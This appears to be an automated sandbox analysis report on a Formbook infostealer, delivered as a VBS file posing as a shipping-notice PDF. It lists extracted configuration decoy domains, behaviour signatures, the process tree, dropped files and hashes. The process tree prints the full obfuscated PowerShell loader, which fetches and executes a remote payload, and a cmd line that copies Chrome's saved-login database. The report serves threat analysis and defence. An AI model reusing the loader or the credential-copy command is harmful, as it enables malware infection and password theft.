Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    147s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/08/2024, 13:28

General

  • Target

    Arrival Notice_AWB 4560943391_PDF.vbs

  • Size

    29KB

  • MD5

    592e05d52785ac7ce91bedee1bed070a

  • SHA1

    fd7c461e71a467deaff4ef320482685347077943

  • SHA256

    ff3261173380df6010b5f2fec463df92180220c8ae6631637937b097b73af3f1

  • SHA512

    def9b1a31ccaa1942d7e0b0de4949bc94216aaf17622ec2de9c90b30e9cf50ae658da07e428985ae5a0aed60f9913937ed5fce5747d0ae61703894afbf3dc9c4

  • SSDEEP

    384:YzMKK76JtZpa/CQnG5daT7K5NV3mMEMRtkRExJ:YzMKHJtZpa/lnZT2NxmMzk6

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

sy52

Decoy

wxxj.asia

emu-oil.online

theprogressiontalks.com

saigonvape.com

cb257.pro

inucana.com

xn--pdr89n.vip

vtc.bzh

connexionsink.com

mastersofthevibes.com

mallsetuae.shop

bellaandbling.com

wagi88.one

273618.bid

japanvietnam-mall.com

lkd1t.rest

oflgjgiq.xyz

calliblography.com

idz8u.vip

marrybears.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Formbook payload 3 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Arrival Notice_AWB 4560943391_PDF.vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse';If (${host}.CurrentCulture) {$Cardplayingmmun='SUBsTR';$Askegraa++;}$Cardplayingmmun+='ing';Function Alcmena($Praisable){$Eksamensprojektet=$Praisable.Length-$Askegraa;For( $Cardplaying=2;$Cardplaying -lt $Eksamensprojektet;$Cardplaying+=3){$Emotionalization+=$Praisable.$Cardplayingmmun.Invoke( $Cardplaying, $Askegraa);}$Emotionalization;}function Bloatedness($begyndelsesbogstaver){ & ($Snoldendes) ($begyndelsesbogstaver);}$Repercussor=Alcmena '.mM,ioBlzB,iAslPllDia.t/ .5Ak.P.0.i .u(AkWS.i n IdOroKlwF s Y UnNFyTLa T 1Il0 . n0To;Ka KrWViiT nCo6 E4 C;Ba Kx i6,e4 K;Kv Epr Av B:Be1,t2 1Bl.,u0 F)Pr BoG Sepuc VkTeoSj/je2An0Or1C.0 n0.o1 e0S 1Ou M,F .iAurKveRef,voRyxSk/Ao1B,2In1 K.B 0m. ';$Scaphandridae=Alcmena 'InUM.sUdeCrrVe-RiAMagcaeEmnVvtDr ';$Overboil=Alcmena 'TrhTet Rt SpBrs :Wr/ ,/Bad,erGeiHuv MeA .,igSloMio,rg Kl.oeJe..ic.roC.m E/bauDmc .?SpeUlx .pDeoStrVit =,vdBloryw Mn elAvo paAsdPo&SoiMedS.=No1BrvS.MNeY pmHyL.r7C hMuhAfs.oe,l3ChOfaVFi-Tr_As3.il.avBl5amxu,hBeBUnTDov,ojCuk esAnL.l0PrrScG ,GFl ';$Toreadorer=Alcmena 'In>Un ';$Snoldendes=Alcmena ' ,iOre.nx a ';$Komplementere='frromantiske';$Orthodoxism = Alcmena 'AnealcS,h .o,e P % MaAfpDipbidDea AtChaDe%Mm\ FFEso Cr PuBurOvePanKoiS nScgPrsKakDio.rnNoo ,mS iFoeStnResSt..vARekPut,e A & ,& S AdeC,c AhUnoF .t I ';Bloatedness (Alcmena ' G$c.g Kl Fo bS,a.plSk:MagR,rKeaGan BaSkdA.o =M (BocStmAnd.a me/ gc N U$ocO ,rUdtP.hTao bdInoRuxLai,isDem .) ');Bloatedness (Alcmena 'Re$NugSal ToBib AaFllT :HaA ,mAlt RsDesBey FgSheU.h buOusWae Pn .eE,=Te$ SO ,vQ,eRerFabTeoFoiDelR .kasvepSpl iSptUd(A.$AmTF,o,er ,e .a .dOvoChrDeeH.r.e)Vi ');Bloatedness (Alcmena ' .[ .NL,e.ut .HuSMueRerKavSyiSic Ae,aP Bo.gi MnAnt WM .aUhnHaaungBee r T] K: :OmSafeKoc .uM,rU i KtG,yMoP.irPooS.tU oC,cLeo,clLo T,=,t Bn[FjNs,e St U.,oSR,e McAau.orShiTrt yT PR,rOmoMit .o VcGeoW.l aT byPepK.e.a]Le:J,:OpTS l is e1Ny2,m ');$Overboil=$Amtssygehusene[0];$Antimediaevally= (Alcmena ' C$ ,gColInokdbScaFjlM :InNMar ,sBlyP,nPhe StTrhSheCod ,s.e=E,N .e.hwA -FrOF,bChjd e scU.t C n SClyYasFrtKoeOvmEm.RoNUneuntBa.BaW e UbEuC l ri Ge n t');$Antimediaevally+=$granado[1];Bloatedness ($Antimediaevally);Bloatedness (Alcmena 'Re$RaN ,rBasBryAvnSmeaptRehSheBydA sbr.TwH ZeApaBod DeSerDisLy[.n$LuSF.c,ta CpBlhSnaGanStdStrEniWodBaa nep ]Ge=Ve$,rR ieHip,ue DrPrcHeuKls is roT rUp ');$Towers=Alcmena ',a$TiNDer sK,yStnKve Pt ThEpe PdF.s C.LaD Ro sw,unCrlB.oDiaNud.xF .i ElSie .(Fa$,eOSkvIse r Eb VoTyiTel .,Di$ s gk bvA.a tComv lNalChe Sn P) O ';$skvatmllen=$granado[0];Bloatedness (Alcmena ' a$OugB lFro bHaaB.lD,:EjMS.aKrd,ir,iaStsCyiGe=In( HTMeeStsSktG,-.sPChaSitKrhSk Ti$PaslikHjv aC t BmBulVel .eAdnPl)Na ');while (!$Madrasi) {Bloatedness (Alcmena ' ,$TagLelCeoWib,raPllDe:RobRarLouH,n Pe tTv=Fo$Opt rSpuFrePy ') ;Bloatedness $Towers;Bloatedness (Alcmena 'caSDet LagarOvtB,- TS lPeeN,e.vpGa .r4.m ');Bloatedness (Alcmena '.n$FigOdlNeoNab ,a l c:T MFaaD,dSirMaaTasS iAg=Di(KiTPre osM.tG,- APDaaKrt Nh t H $Rhs.nkL,vsta PtLnm Pli lPoe.lnL.) ') ;Bloatedness (Alcmena 'U,$AcgBelOmo Wb BaDulCh:T.M ua Grenk yeFod UsHya Od ogA.aScnUng k=ge$.pg AlB o Db,oa lPe: .PGaoKjlBlaFrrDiiSktviesuth,eStnMa+ B+Vi%Fo$ MA.rmT t,rs ,s,iyWig.te GhTeu TsSkeStnFle .L cHeo RuS n,etKa ') ;$Overboil=$Amtssygehusene[$Markedsadgang];}$Voksenundervisning=295672;$Trodsedes=27606;Bloatedness (Alcmena 'Mu$,igtulChoFobtaaiol A:B UE.nKrai.wHekW.wUnaElrZedu lBlyT, A =N. ExGDeeMetfi-I.C EoStnmatSte YnIntAr .a$SksDak ivNeaDyt.emL,l dl IeamnJo ');Bloatedness (Alcmena 'A,$,og,al ,oL,bchaA lAl:oxBperFoaKuu dn aa.t Sp=Pr Fl[,rS ,y,rs NtUne,imt..GrCCro cnR vFoeUnrPet o],e: S:SvF Vrt oP.mFoB,ia Usove K6Ma4LeS .tE,rFii n ogOc(di$ FU.vn ,a IwWik .wS,aLgr.rdSil rySe) T ');Bloatedness (Alcmena ' g$EmgEnlFao.yb AaAgl S:Toas.d,ajAre,icDet DiTno,an.e .o=Pe Br[ReS yWhsUdtEleCrmFj.noT.ye Ex atBr.PaE rn .c ,o sdMiiG,n,vgPr] e: :omATrS KC .I uIE..RaG OeFatHeSPatR rL,iFanK gIn(Vo$FuBVarUnaPyuU nOuaBe),a ');Bloatedness (Alcmena 'R,$OcgGul.noPtbUnaGol B:.aE .f.at retrr,ra aC.r As Tj .vMinUnd,ogE nShsTo= S$Doa NdArjZeeB.cI t,oiIno .nGy.Ans.ou ib PsCotSnrVoiCanvegAn(Fi$ DV To CkTes,oeMan VuManUddUneInrG.vOpiRes nn.aiC.nPag ,,De$P.T ,rNao FdInsDuedidTreUdsB.) F ');Bloatedness $Efteraarsjvndgns;"
        3⤵
        • Blocklisted process makes network request
        • System Time Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1908
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Forureningskonomiens.Akt && echo t"
          4⤵
            PID:2124
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse Emotionalization Polariteten Markedsadgang Amtssygehusene Overboil Diatherm Hyostylic212 frromantiske Unawkwardly Spiniferous zephyranthes adjection Unsittingly Forstudier185 Insapiency Kontoruddannet Salonkommunisten Fumy Bipolarises39 Opremsningen Fderalistens skvatmllen Unbackboarded boligtilsynsbestemmelse';If (${host}.CurrentCulture) {$Cardplayingmmun='SUBsTR';$Askegraa++;}$Cardplayingmmun+='ing';Function Alcmena($Praisable){$Eksamensprojektet=$Praisable.Length-$Askegraa;For( $Cardplaying=2;$Cardplaying -lt $Eksamensprojektet;$Cardplaying+=3){$Emotionalization+=$Praisable.$Cardplayingmmun.Invoke( $Cardplaying, $Askegraa);}$Emotionalization;}function Bloatedness($begyndelsesbogstaver){ & ($Snoldendes) ($begyndelsesbogstaver);}$Repercussor=Alcmena '.mM,ioBlzB,iAslPllDia.t/ .5Ak.P.0.i .u(AkWS.i n IdOroKlwF s Y UnNFyTLa T 1Il0 . n0To;Ka KrWViiT nCo6 E4 C;Ba Kx i6,e4 K;Kv Epr Av B:Be1,t2 1Bl.,u0 F)Pr BoG Sepuc VkTeoSj/je2An0Or1C.0 n0.o1 e0S 1Ou M,F .iAurKveRef,voRyxSk/Ao1B,2In1 K.B 0m. ';$Scaphandridae=Alcmena 'InUM.sUdeCrrVe-RiAMagcaeEmnVvtDr ';$Overboil=Alcmena 'TrhTet Rt SpBrs :Wr/ ,/Bad,erGeiHuv MeA .,igSloMio,rg Kl.oeJe..ic.roC.m E/bauDmc .?SpeUlx .pDeoStrVit =,vdBloryw Mn elAvo paAsdPo&SoiMedS.=No1BrvS.MNeY pmHyL.r7C hMuhAfs.oe,l3ChOfaVFi-Tr_As3.il.avBl5amxu,hBeBUnTDov,ojCuk esAnL.l0PrrScG ,GFl ';$Toreadorer=Alcmena 'In>Un ';$Snoldendes=Alcmena ' ,iOre.nx a ';$Komplementere='frromantiske';$Orthodoxism = Alcmena 'AnealcS,h .o,e P % MaAfpDipbidDea AtChaDe%Mm\ FFEso Cr PuBurOvePanKoiS nScgPrsKakDio.rnNoo ,mS iFoeStnResSt..vARekPut,e A & ,& S AdeC,c AhUnoF .t I ';Bloatedness (Alcmena ' G$c.g Kl Fo bS,a.plSk:MagR,rKeaGan BaSkdA.o =M (BocStmAnd.a me/ gc N U$ocO ,rUdtP.hTao bdInoRuxLai,isDem .) ');Bloatedness (Alcmena 'Re$NugSal ToBib AaFllT :HaA ,mAlt RsDesBey FgSheU.h buOusWae Pn .eE,=Te$ SO ,vQ,eRerFabTeoFoiDelR .kasvepSpl iSptUd(A.$AmTF,o,er ,e .a .dOvoChrDeeH.r.e)Vi ');Bloatedness (Alcmena ' .[ .NL,e.ut .HuSMueRerKavSyiSic Ae,aP Bo.gi MnAnt WM .aUhnHaaungBee r T] K: :OmSafeKoc .uM,rU i KtG,yMoP.irPooS.tU oC,cLeo,clLo T,=,t Bn[FjNs,e St U.,oSR,e McAau.orShiTrt yT PR,rOmoMit .o VcGeoW.l aT byPepK.e.a]Le:J,:OpTS l is e1Ny2,m ');$Overboil=$Amtssygehusene[0];$Antimediaevally= (Alcmena ' C$ ,gColInokdbScaFjlM :InNMar ,sBlyP,nPhe StTrhSheCod ,s.e=E,N .e.hwA -FrOF,bChjd e scU.t C n SClyYasFrtKoeOvmEm.RoNUneuntBa.BaW e UbEuC l ri Ge n t');$Antimediaevally+=$granado[1];Bloatedness ($Antimediaevally);Bloatedness (Alcmena 'Re$RaN ,rBasBryAvnSmeaptRehSheBydA sbr.TwH ZeApaBod DeSerDisLy[.n$LuSF.c,ta CpBlhSnaGanStdStrEniWodBaa nep ]Ge=Ve$,rR ieHip,ue DrPrcHeuKls is roT rUp ');$Towers=Alcmena ',a$TiNDer sK,yStnKve Pt ThEpe PdF.s C.LaD Ro sw,unCrlB.oDiaNud.xF .i ElSie .(Fa$,eOSkvIse r Eb VoTyiTel .,Di$ s gk bvA.a tComv lNalChe Sn P) O ';$skvatmllen=$granado[0];Bloatedness (Alcmena ' a$OugB lFro bHaaB.lD,:EjMS.aKrd,ir,iaStsCyiGe=In( HTMeeStsSktG,-.sPChaSitKrhSk Ti$PaslikHjv aC t BmBulVel .eAdnPl)Na ');while (!$Madrasi) {Bloatedness (Alcmena ' ,$TagLelCeoWib,raPllDe:RobRarLouH,n Pe tTv=Fo$Opt rSpuFrePy ') ;Bloatedness $Towers;Bloatedness (Alcmena 'caSDet LagarOvtB,- TS lPeeN,e.vpGa .r4.m ');Bloatedness (Alcmena '.n$FigOdlNeoNab ,a l c:T MFaaD,dSirMaaTasS iAg=Di(KiTPre osM.tG,- APDaaKrt Nh t H $Rhs.nkL,vsta PtLnm Pli lPoe.lnL.) ') ;Bloatedness (Alcmena 'U,$AcgBelOmo Wb BaDulCh:T.M ua Grenk yeFod UsHya Od ogA.aScnUng k=ge$.pg AlB o Db,oa lPe: .PGaoKjlBlaFrrDiiSktviesuth,eStnMa+ B+Vi%Fo$ MA.rmT t,rs ,s,iyWig.te GhTeu TsSkeStnFle .L cHeo RuS n,etKa ') ;$Overboil=$Amtssygehusene[$Markedsadgang];}$Voksenundervisning=295672;$Trodsedes=27606;Bloatedness (Alcmena 'Mu$,igtulChoFobtaaiol A:B UE.nKrai.wHekW.wUnaElrZedu lBlyT, A =N. ExGDeeMetfi-I.C EoStnmatSte YnIntAr .a$SksDak ivNeaDyt.emL,l dl IeamnJo ');Bloatedness (Alcmena 'A,$,og,al ,oL,bchaA lAl:oxBperFoaKuu dn aa.t Sp=Pr Fl[,rS ,y,rs NtUne,imt..GrCCro cnR vFoeUnrPet o],e: S:SvF Vrt oP.mFoB,ia Usove K6Ma4LeS .tE,rFii n ogOc(di$ FU.vn ,a IwWik .wS,aLgr.rdSil rySe) T ');Bloatedness (Alcmena ' g$EmgEnlFao.yb AaAgl S:Toas.d,ajAre,icDet DiTno,an.e .o=Pe Br[ReS yWhsUdtEleCrmFj.noT.ye Ex atBr.PaE rn .c ,o sdMiiG,n,vgPr] e: :omATrS KC .I uIE..RaG OeFatHeSPatR rL,iFanK gIn(Vo$FuBVarUnaPyuU nOuaBe),a ');Bloatedness (Alcmena 'R,$OcgGul.noPtbUnaGol B:.aE .f.at retrr,ra aC.r As Tj .vMinUnd,ogE nShsTo= S$Doa NdArjZeeB.cI t,oiIno .nGy.Ans.ou ib PsCotSnrVoiCanvegAn(Fi$ DV To CkTes,oeMan VuManUddUneInrG.vOpiRes nn.aiC.nPag ,,De$P.T ,rNao FdInsDuedidTreUdsB.) F ');Bloatedness $Efteraarsjvndgns;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • System Time Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2324
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Forureningskonomiens.Akt && echo t"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1600
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              5⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              PID:4488
      • C:\Windows\SysWOW64\wlanext.exe
        "C:\Windows\SysWOW64\wlanext.exe"
        2⤵
        • Adds policy Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4744
        • C:\Windows\SysWOW64\cmd.exe
          /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2296
        • C:\Program Files\Mozilla Firefox\Firefox.exe
          "C:\Program Files\Mozilla Firefox\Firefox.exe"
          3⤵
            PID:4628

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\DB1

        Filesize

        40KB

        MD5

        a182561a527f929489bf4b8f74f65cd7

        SHA1

        8cd6866594759711ea1836e86a5b7ca64ee8911f

        SHA256

        42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

        SHA512

        9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1k0dprc.kvy.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\084-280V\084logim.jpeg

        Filesize

        80KB

        MD5

        1c12edf78f7e97ee62752560e19df940

        SHA1

        34e0df14313b58efc540cc77383cf45494e63afb

        SHA256

        49543953606bb5572ee8fa09b315c8caacdcfc7f0351c2b044b685711a7be15f

        SHA512

        b3aa16502ec6938453964da58f99f29c34111ad3a1a3aa21f61ecc4c3fe765c78d4a1138ec2bfb1162c535546cac16a5c452ae27d6c21a9ac91e1d365d0dac05

      • C:\Users\Admin\AppData\Roaming\084-280V\084logrf.ini

        Filesize

        40B

        MD5

        2f245469795b865bdd1b956c23d7893d

        SHA1

        6ad80b974d3808f5a20ea1e766c7d2f88b9e5895

        SHA256

        1662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361

        SHA512

        909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f

      • C:\Users\Admin\AppData\Roaming\084-280V\084logrg.ini

        Filesize

        38B

        MD5

        4aadf49fed30e4c9b3fe4a3dd6445ebe

        SHA1

        1e332822167c6f351b99615eada2c30a538ff037

        SHA256

        75034beb7bded9aeab5748f4592b9e1419256caec474065d43e531ec5cc21c56

        SHA512

        eb5b3908d5e7b43ba02165e092f05578f45f15a148b4c3769036aa542c23a0f7cd2bc2770cf4119a7e437de3f681d9e398511f69f66824c516d9b451bb95f945

      • C:\Users\Admin\AppData\Roaming\084-280V\084logri.ini

        Filesize

        40B

        MD5

        d63a82e5d81e02e399090af26db0b9cb

        SHA1

        91d0014c8f54743bba141fd60c9d963f869d76c9

        SHA256

        eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae

        SHA512

        38afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad

      • C:\Users\Admin\AppData\Roaming\084-280V\084logrv.ini

        Filesize

        872B

        MD5

        bbc41c78bae6c71e63cb544a6a284d94

        SHA1

        33f2c1d9fa0e9c99b80bc2500621e95af38b1f9a

        SHA256

        ee83c6bcea9353c74bfc0a7e739f3c4a765ace894470e09cdcdebba700b8d4cb

        SHA512

        0aea424b57adae3e14ad6491cab585f554b4dffe601b5a17bad6ee6177d2f0f995e419cde576e2d1782b9bddc0661aada11a2c9f1454ae625d9e3223635ec9f4

      • C:\Users\Admin\AppData\Roaming\Forureningskonomiens.Akt

        Filesize

        420KB

        MD5

        8dedf31a9ddcc727db8c1c7f42074980

        SHA1

        2e027edef136505bb0f62347dda5d10611fe434f

        SHA256

        548990f3282f20086d8b67f93b83b3068e12204ad13450b784b06bbad05406f4

        SHA512

        17ec95dc43d573cbaa0d991a6c30499b9aefb3edb69bef225515a981500a034d0a13179178c3d697e904a57e34f0b04cac95b949d27b0c00f8999cd4c2a99f92

      • memory/1908-2-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

        Filesize

        2.0MB

      • memory/1908-3-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

        Filesize

        2.0MB

      • memory/1908-4-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

        Filesize

        2.0MB

      • memory/1908-10-0x000002B37D130000-0x000002B37D152000-memory.dmp

        Filesize

        136KB

      • memory/1908-60-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

        Filesize

        2.0MB

      • memory/1908-41-0x00007FF8FAFD0000-0x00007FF8FB1C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2324-37-0x0000000007940000-0x0000000007962000-memory.dmp

        Filesize

        136KB

      • memory/2324-21-0x0000000006220000-0x0000000006286000-memory.dmp

        Filesize

        408KB

      • memory/2324-35-0x0000000006E50000-0x0000000006E6A000-memory.dmp

        Filesize

        104KB

      • memory/2324-38-0x00000000088C0000-0x0000000008E64000-memory.dmp

        Filesize

        5.6MB

      • memory/2324-34-0x0000000008240000-0x00000000088BA000-memory.dmp

        Filesize

        6.5MB

      • memory/2324-40-0x0000000008E70000-0x000000000AD3B000-memory.dmp

        Filesize

        30.8MB

      • memory/2324-33-0x0000000006930000-0x000000000697C000-memory.dmp

        Filesize

        304KB

      • memory/2324-17-0x0000000002FD0000-0x0000000003006000-memory.dmp

        Filesize

        216KB

      • memory/2324-18-0x0000000005B80000-0x00000000061A8000-memory.dmp

        Filesize

        6.2MB

      • memory/2324-32-0x0000000006900000-0x000000000691E000-memory.dmp

        Filesize

        120KB

      • memory/2324-19-0x0000000005A40000-0x0000000005A62000-memory.dmp

        Filesize

        136KB

      • memory/2324-20-0x0000000005AE0000-0x0000000005B46000-memory.dmp

        Filesize

        408KB

      • memory/2324-36-0x0000000007BC0000-0x0000000007C56000-memory.dmp

        Filesize

        600KB

      • memory/2324-31-0x0000000006310000-0x0000000006664000-memory.dmp

        Filesize

        3.3MB

      • memory/3424-80-0x0000000008090000-0x00000000081F3000-memory.dmp

        Filesize

        1.4MB

      • memory/4488-62-0x0000000000400000-0x00000000005E4000-memory.dmp

        Filesize

        1.9MB

      • memory/4488-57-0x0000000000400000-0x00000000005E4000-memory.dmp

        Filesize

        1.9MB

      • memory/4488-55-0x0000000000400000-0x00000000005E4000-memory.dmp

        Filesize

        1.9MB

      • memory/4744-64-0x00000000004A0000-0x00000000004CF000-memory.dmp

        Filesize

        188KB

      • memory/4744-63-0x0000000000560000-0x0000000000577000-memory.dmp

        Filesize

        92KB

      • memory/4744-61-0x0000000000560000-0x0000000000577000-memory.dmp

        Filesize

        92KB